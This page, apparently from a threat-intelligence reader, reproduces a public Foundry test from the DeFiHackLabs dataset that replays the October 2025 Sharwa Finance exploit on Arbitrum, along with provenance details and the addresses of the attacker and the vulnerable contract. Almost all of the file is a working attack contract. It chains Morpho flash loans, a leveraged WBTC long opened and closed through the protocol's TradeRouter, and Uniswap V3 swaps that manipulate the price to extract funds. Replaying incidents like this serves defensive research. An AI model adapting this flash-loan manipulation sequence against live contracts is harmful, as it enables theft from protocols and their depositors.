Public reproduction file
src/test/2025-10/SharwaFinance_exp.sol
Public reproduction file for dataset entry SharwaFinance.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 146,000 USD8// Attacker : https://arbiscan.io/address/0xd356c82e0c85e1568641d084dbdaf76b8df96c089// Attack Contract : https://arbiscan.io/address/0xd9ff21caeeea4329133c98a892db16b42f9baa2510// Vulnerable Contract : https://arbiscan.io/address/0xd3fde5af30da1f394d6e0d361b552648d0dff79711// Attack Tx :12// https://app.blocksec.com/explorer/tx/arbitrum/0xd64729c528e6689cb18b0c90345ab0c9ed18fea44247c89af2f1374643fc89c2?line=-113// https://app.blocksec.com/explorer/tx/arbitrum/0x9f8b4841f805ec50cc6632068f759216d85633fbbe34afde86b97bbc41c23ead15// @Info16// Vulnerable Contract Code : https://arbiscan.io/address/0xd3fde5af30da1f394d6e0d361b552648d0dff797#code18// @Analysis19// https://x.com/phalcon_xyz/status/1980219745480946087?s=4620// https://blog.verichains.io/p/vulnerability-analysis-deconstructing?utm_source=chatgpt.com22interface IMarginAccountManager {23 function createMarginAccount() external returns (uint256 tokenId);24}26interface IMorpho {27 function flashLoan(28 address token,29 uint256 assets,30 bytes calldata data31 ) external;32}34interface IMorphoFlashLoanReceiver {35 function onMorphoFlashLoan(36 uint256 assets,37 bytes calldata data38 ) external;39}41interface IERC721Receiver {42 function onERC721Received(43 address operator,44 address from,45 uint256 tokenId,46 bytes calldata data47 ) external returns (bytes4);48}50interface ISupplyTokenPool {51 function provide(uint256 amount) external;52 function withdraw(uint256 amount) external;53 function balanceOf(address user) external view returns (uint256);54}56interface IMarginTradingRouter {57 function provideERC20(uint256 id, address token, uint256 amount) external;58}60interface TradeRouter {61 function increaseLongPosition(uint256 id, address token, uint256 amount) external;62 function decreaseLongPosition(uint256 id, address token, uint256 amount) external;63}65interface IUniV3Router {66 struct ExactInputSingleParams {67 address tokenIn;68 address tokenOut;69 uint24 fee;70 address recipient;71 uint256 deadline;72 uint256 amountIn;73 uint256 amountOutMinimum;74 uint160 sqrtPriceLimitX96;75 }77 function exactInputSingle(78 ExactInputSingleParams calldata params79 ) external returns (uint256 amountOut);80}82contract ContractTest is Test {83 address constant USDC = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831; 84 address constant WBTC = 0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f;85 address constant MORPHO = 0x6c247b1F6182318877311737BaC0844bAa518F5e;86 address constant MARGIN_ACCOUNT_MANAGER = 0x7E859C254F431e566DaaB65f49b2449Aa826E395;87 address constant SF_LP_USDC = 0x02434cD23972C82FbAbf610D157b41bFB45A45a3;88 address constant MARGIN_TRADING_ROUTER = 0x35CB6a3b4963DaE3CB7465c954DDFBE0cd13eb2b;89 address constant TRADE_ROUTER = 0xd3fdE5AF30DA1F394d6e0D361B552648D0dff797;90 address constant V3_ROUTER = 0xE592427A0AEce92De3Edee1F18E0157C05861564;92 uint256 constant BLOCK_TX1 = 391402008;93 uint256 constant BLOCK_TX2 = 391402389;95 address attacker = address(this);96 AttackContract attackcontract;98 function setUp() public {99 vm.createSelectFork("arbitrum", BLOCK_TX1 - 1);100 vm.label(attacker, "Sharwa Finance Exploiter");101 vm.label(address(attackcontract), "Receiver");102 vm.label(USDC, "USDC");103 vm.label(WBTC, "WBTC");104 vm.label(MORPHO, "Morpho");105 vm.label(MARGIN_ACCOUNT_MANAGER, "MarginAccountManager");106 vm.label(TRADE_ROUTER, "TradeRouter");107 vm.label(SF_LP_USDC, "SF-LP-USDC");108 vm.label(MARGIN_TRADING_ROUTER, "MarginTradingRouter");109 vm.label(V3_ROUTER, "Uniswap V3: Router");111 attackcontract = new AttackContract(112 MORPHO,113 USDC,114 WBTC,115 MARGIN_ACCOUNT_MANAGER,116 SF_LP_USDC,117 MARGIN_TRADING_ROUTER,118 TRADE_ROUTER,119 V3_ROUTER,120 attacker121 );122 deal(USDC, attacker, 2_201_000_000); // fund attacker with initial USDC123 IERC20(USDC).approve(address(attackcontract), 2_201_000_000);124 }126 function test_exploit_sequence() public {127 emit log_named_uint("WBTC balance before exploit:", IERC20(WBTC).balanceOf(address(attackcontract)));128 attackcontract.attackTx1();129 vm.roll(BLOCK_TX2 - 1);130 attackcontract.attackTx2();132 emit log_named_uint("WBTC balance after exploit:", IERC20(WBTC).balanceOf(address(attackcontract)));133 }134}136contract AttackContract is IMorphoFlashLoanReceiver, IERC721Receiver {137 uint256 constant ATTACKER_FUND = 2_201_000_000;138 uint256 constant FLASHLOAN_USDC = 4_000_000_0000;139 uint256 constant FLASHLOAN_WBTC = 3_700_000_000;141 IMorpho public morpho;142 IERC20 public USDC;143 IERC20 public WBTC;144 IMarginAccountManager public margin;145 ISupplyTokenPool public pool;146 IMarginTradingRouter public marginTradeRouter;147 TradeRouter public tradeRouter;148 IUniV3Router public v3Router;150 uint256 public marginAccountID;151 address public attackerEOA;153 constructor(154 address _morpho,155 address _usdc,156 address _wbtc,157 address _margin,158 address _pool,159 address _marginTradeRouter,160 address _tradeRouter,161 address _v3Router,162 address _attackerEOA163 ) {164 morpho = IMorpho(_morpho);165 USDC = IERC20(_usdc);166 WBTC = IERC20(_wbtc);167 margin = IMarginAccountManager(_margin);168 pool = ISupplyTokenPool(_pool);169 marginTradeRouter = IMarginTradingRouter(_marginTradeRouter);170 tradeRouter = TradeRouter(_tradeRouter);171 v3Router = IUniV3Router(_v3Router);172 attackerEOA = _attackerEOA;173 }175 function attackTx1() external {176 USDC.transferFrom(attackerEOA, address(this), ATTACKER_FUND);177 bytes memory data = abi.encode(uint8(1));178 morpho.flashLoan(address(USDC), FLASHLOAN_USDC, data);179 }181 function attackTx2() external {182 bytes memory data = abi.encode(uint8(2));183 morpho.flashLoan(address(WBTC), FLASHLOAN_WBTC, data);184 }186 function onMorphoFlashLoan(uint256 assets, bytes calldata data) external {187 require(msg.sender == address(morpho), "only Morpho");189 uint8 tag = abi.decode(data, (uint8));190 if (tag == 1) {191 _handleTx1(assets);192 } else if (tag == 2) {193 _handleTx2(assets);194 } else {195 revert("bad tag");196 }197 }199 function _handleTx1(uint256 assets) internal {200 marginAccountID = margin.createMarginAccount();202 USDC.approve(address(pool), FLASHLOAN_USDC);203 pool.provide(FLASHLOAN_USDC);205 USDC.approve(address(marginTradeRouter), 2_200_000_000);206 marginTradeRouter.provideERC20(marginAccountID, address(USDC), 2_200_000_000); // 2.2M208 tradeRouter.increaseLongPosition(marginAccountID, address(WBTC), 36_200_000);210 pool.withdraw(pool.balanceOf(address(this)));212 USDC.approve(address(morpho), type(uint256).max);213 }215 function _handleTx2(uint256 assets) internal {216 WBTC.approve(address(v3Router), FLASHLOAN_WBTC);217 USDC.approve(address(v3Router), type(uint256).max);219 v3Router.exactInputSingle(220 IUniV3Router.ExactInputSingleParams({221 tokenIn: address(WBTC),222 tokenOut: address(USDC),223 fee: 500,224 recipient: address(this),225 deadline: block.timestamp + 100,226 amountIn: FLASHLOAN_WBTC,227 amountOutMinimum: 0,228 sqrtPriceLimitX96: 0229 })230 );232 tradeRouter.decreaseLongPosition(marginAccountID, address(WBTC), 36_199_999);234 v3Router.exactInputSingle(235 IUniV3Router.ExactInputSingleParams({236 tokenIn: address(USDC),237 tokenOut: address(WBTC),238 fee: 500,239 recipient: address(this),240 deadline: block.timestamp + 100,241 amountIn: USDC.balanceOf(address(this)),242 amountOutMinimum: 0,243 sqrtPriceLimitX96: 0244 })245 );247 WBTC.approve(address(morpho), type(uint256).max);248 }250 function onERC721Received(251 address operator,252 address from,253 uint256 tokenId,254 bytes calldata data255 ) external override returns (bytes4) {256 return IERC721Receiver.onERC721Received.selector;257 }258}Analysis
Dataset entry
Public Foundry test for “SharwaFinance” (2025-10-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
3 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-10/MIMSpell3_exp.solSame month in the dataset · 216 lines
- src/test/2025-10/TokenHolder_exp.solSame month in the dataset · 75 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xd356c82e0c85e1568641d084dbdaf76b8df96c08
- Attack Contract
0xd9ff21caeeea4329133c98a892db16b42f9baa25
- Vulnerable Contract
0xd3fde5af30da1f394d6e0d361b552648d0dff797
- Explorer: https://arbiscan.io/address/0xd356c82e0c85e1568641d084dbdaf76b8df96c08
- Explorer: https://arbiscan.io/address/0xd9ff21caeeea4329133c98a892db16b42f9baa25
- Explorer: https://arbiscan.io/address/0xd3fde5af30da1f394d6e0d361b552648d0dff797
- Explorer: https://arbiscan.io/address/0xd3fde5af30da1f394d6e0d361b552648d0dff797#code
- Reference: https://x.com/phalcon_xyz/status/1980219745480946087?s=46
File record
- Name
- SharwaFinance
- Path
- src/test/2025-10/SharwaFinance_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 2613911a8e66a0cc5641ce5226e8934730ed5693
- Language
- Solidity
- Size
- 259 lines
- Date
- 2025-10-20
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-10/SharwaFinance_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 2613911a8e66a0cc5641ce5226e8934730ed5693, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.